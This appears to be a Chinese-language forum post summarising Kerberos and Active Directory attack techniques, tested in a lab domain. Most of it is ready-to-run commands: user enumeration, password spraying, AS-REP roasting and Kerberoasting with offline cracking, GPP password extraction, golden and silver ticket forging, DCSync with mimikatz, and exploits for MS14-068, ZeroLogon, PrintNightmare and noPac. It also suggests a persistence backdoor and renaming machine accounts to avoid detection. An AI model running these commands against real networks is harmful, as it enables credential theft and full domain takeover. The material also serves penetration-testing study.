前言

Author: 0ne

本篇文章主要是对Kerberos域渗透中常见攻击手法进行简单的总结。
(可能思路狭隘,有缺有错,师傅们多带带)

如何发现域

入口点就在域内的话,有蛮多命令判断是否存在域,最准的还是net config workstation


如果入口点没在域内,能通DC的话,可以使用NetBIOS扫描探测:

fscan_amd64 -np -m netbios -h 192.168.17.1/24


域控主机通常会开启88&389端口:

域用户枚举

概述

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举。

利用

使用工具https://github.com/ropnop/kerbrute

kerbrute_linux_amd64 userenum --dc 192.168.17.134 -d 0ne.test username.txt

AS-REPRoasting

概述

对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令。默认情况下该配置不会设置。

利用

配置域用户的不要求Kerberos预身份认证属性:

使用impacket工具包GetNPUsers.py发现不做Kerberos预认证用户:

GetNPUsers.py -dc-ip 192.168.17.134 0ne.test/zhangsan:zs@123456
GetNPUsers.py -dc-ip 192.168.17.134 0ne.test/zhangsan:zs@123456 -format john -outputfile NPhashes
john --wordlist=/usr/share/wordlists/FastPwds.txt NPhashes


没有域凭证时,也可以用户名枚举来查找未设置预认证的账号:

GetNPUsers.py -dc-ip 192.168.17.134 0ne.test/ -usersfile users.txt


该配置不要求Kerberos预身份认证默认不启用,可以给域内高权限用户配置该选项作为后门。

Password Spraying

概述

在kerberos的AS-REQ认证中当用户名存在时,密码正确或者错误返回包结果不一样,所以可以尝试爆破密码。

利用

通常爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。

kerbrute_linux_amd64 passwordspray --dc 192.168.17.134 -d 0ne.test username.txt p4ssw0rd!


单用户爆破密码:

kerbrute_linux_amd64 bruteuser --dc 192.168.17.134 -d 0ne.test passwords.txt user

用户名&密码字典组合爆破,而格式username:password

kerbrute_linux_amd64 bruteforce --dc 192.168.17.134 -d 0ne.test res.txt

除了通过kerberos爆破,还可以利用smb,ldap爆破。
smb爆破使用msfauxiliary/scanner/smb/smb_login模块:

ldap爆破详见3gstudent师傅的博客渗透基础-通过LDAP协议暴力破解域用户的口令

如何定位域管

概述

域渗透中定位并拿下域管登陆过的主机,就可以在该主机导出域管密码或是hash:

net group "domain admins" /domain
net group "domain controllers" /domain

利用

使用PsLoggendon.exe定位域管理员:
可以查看指定用户域内登录过的主机或是某主机登录过的用户

PsLoggendon.exe -accepteula administrator
PsLoggendon.exe -accepteula \\DC2012

使用PVEFindADUser.exe定位域管理员:
该工具用于枚举域内计算机以及登陆过相应计算机的域用户,当参数为 -current ,枚举域内所有机器以及当前登陆的域用户,在此基础上,可以指定域用户,添加参数domain\user,支持模糊查询。

Kerberos委派攻击

主要分非约束委派约束委派基于资源的约束委派,利用详情见Kerberos委派攻击的那些事

Kerberoasting

概述

TGS(service ticket)是由目标服务实例的NTLM hash加密生成的,加密算法为RC4-HMAC。站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生成TGS进行比较,进行离线破解。

利用

使用GetUserSPNs.py寻找注册在域用户下的SPN,并使用john离线破解:

GetUserSPNs.py -dc-ip 192.168.17.134 0ne.test/zhangsan:zs@123456 -outputfile tgs
john --wordlist=/usr/share/wordlists/FastPwds.txt tgs

GPP密码读取

概述

域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密。这就造成了安全隐患,现实中域管理员往往会在组策略中使用域管理员密码,组策略配置文件中的密码很容易被获得,导致权限提升。

利用

使用组策略管理工具增加一条策略:


使用impacket工具包Get-GPPPassword.py获取组策略并解密密码,该脚本也可以离线破解:

Get-GPPPassword.py 0ne.test/hong:h@123456@192.168.17.134


当然在SYSVOL下可能也存在着通过.vbs,.bat下发任务,或是存在其他敏感信息:

for /r \\<DOMAIN>\SYSVOL\<DOMAIN>\ %i in (*.vbs) do @echo %i
for /r \\<DOMAIN>\SYSVOL\<DOMAIN>\ %i in (*.bat) do @echo %i
type <file_path>

金票&银票

概述

Golden Ticket(金票)就是TGT(票据授权票据),它能代表用户的身份,如果有了高权限用户的TGT,那么就可以发送给TGS换取任意服务的ST。TGT是由kerbtgt的hash加密生成的。
Silver Tickets(银票)就是ST(服务票据),ST是由服务hash加密生成,只能访问指定服务。
然后使用对应的票据进行PTT。

利用

生成域管的金票:

ticketer.py -nthash krbtgt_NT_hash -domain-sid S-xxx -domain 0ne.test administrator


生成DC2012的银票:

ticketer.py -nthash spn_NT_hash -domain-sid S-xx -domain 0ne -spn CIFS/DC2012.0ne.test administrator
export KRB5CCNAME=administrator.ccache
klist
wmiexec.py DC2012.0ne.test -k
kdestroy

DCSync

概述

DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash。

利用

满足其一条件:

Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

利用域控的机器账户DCSync:

已知漏洞

MS14-068

概述

该漏洞允许经过身份验证的用户在其获得的TGT票据修改PAC来伪造域管理员。

利用

不怎么能遇见了。
需要个普通域用户&域SID:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

whoami /user
ms14-068.exe -u user@xxx.xxx -p pass -d DC_IP -s SID
kerberos::purge
kerberos::ptc <TGT_filepath>


使用goldenPac.py


哈哈哈哈嗝,我的2012均失败(T_T)

ZeroLogon(CVE-2020-1472)

概述

通过利用该漏洞,可以将域控机器用户的密码置空。利用secretsdump.py来获取凭证。

利用

漏洞检测&利用:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/risksense/zerologon

zerologon_tester.py DC2012 192.168.17.134
cve-2020-1472-exploit.py DC2012 192.168.17.134


DC2012$的hash被置空,并获取administrator的hash,PTH:

secretsdump.py  0ne.test/DC2012\$@192.168.17.134 -just-dc-user administrator -no-pass
wmiexec.py 0ne.test/administrator@192.168.17.134 -hashes xxx:xxx


攻击后,由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表里面的密码不一致会导致脱域,所以需要还原机器账户hash:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH


这种从sam数据库还原机器账户hash感觉有点麻烦,可以直接重置域控机器账号密码:

powershell Reset-ComputerMachinePassword
wmiexec.py 0ne.test/administrator@192.168.17.134 powershell Reset-ComputerMachinePassword -hashes xxx:xxx -silentcommand

Windows Print Spooler(CVE-2021-1675)

概述

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启Print Spooler服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。在域环境下,域用户可远程利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。

利用

需要一个普通域用户。
kali开启匿名smb共享:
修改smb服务配置文件/etc/samba/smb.conf

[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = MYSERVER
log file = /var/log/samba/log.%m
max log size = 50
security = user
map to guest = Bad User
[smb]
comment = Template Directories
browseable = yes
writeable = yes
path = /tmp/
guest ok = yes

service smbd restart服务重启即可。
Windows命令行开启匿名共享:
详情可见3gstudent师傅的博客渗透技巧——通过命令行开启Windows系统的匿名访问共享
https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable

POC地址:https://github.com/cube0x0/CVE-2021-1675
测试的时候2012没打成,换成2016成功了:

CVE-2021-1675.py test:0nelocal@123@192.168.17.135 '\\ip\smb\shell_7777.dll'

sAMAccountName spoofing(CVE-2021-42278&CVE-2021-42287)

概述

CVE-2021-42278

域内机器账号都应当以$结尾,但是Active Directory不会检查机器账号末尾是否带有$。

CVE-2021-42287

当用Machine的TGT为任意用户向KDC申请访问Machine的ST时,若Machine不存在,KDC就会查找Machine$,若Machine$存在,那么Machine.TGT会用S4U2Self申请一张任意用户访问Machine$的ST。

利用

手工复现
impacket

noPac

占位

sam_the_admin
sam_the_admin.py 0ne.test/zhangsan:zs@123456 -dc-ip 192.168.17.134 -shell
export KRB5CCNAME=/root/sam-the-admin-main/Administrator.ccache
wmiexec.py DC2012.0ne.test -k

这里会生成一张域管理员访问-dc-ip的ST,因为我的kali没有/usr/bin/impacket-smbexec。所以需要自己导入,再PTT。建议自己改一下机器名特征(SAMTHEADMIN-)。不然出现这个机器名就可能被当场逮捕。

MAQ为0场景

其他

AD CSNTLM Relay域内ACLExchange跨域攻击等填坑。

参考

感谢各位师傅的分享。
Good in study, attitude and health
daiker师傅的windows-protocol

点击收藏 | 4 关注 | 4 打赏
登录 后跟帖